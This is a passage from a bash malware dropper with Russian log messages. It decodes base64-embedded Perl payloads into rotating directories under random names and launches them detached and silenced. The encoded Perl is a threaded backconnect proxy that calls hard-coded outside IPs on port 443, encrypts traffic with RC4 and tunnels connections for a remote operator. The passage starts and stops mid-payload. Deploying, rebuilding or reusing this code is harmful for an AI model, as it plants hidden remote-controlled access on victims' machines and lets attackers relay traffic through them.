>/dev/null 2>&1 &) else echo "[RUNNER] Компонент #25 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 26 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #26 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #26 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 27 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr 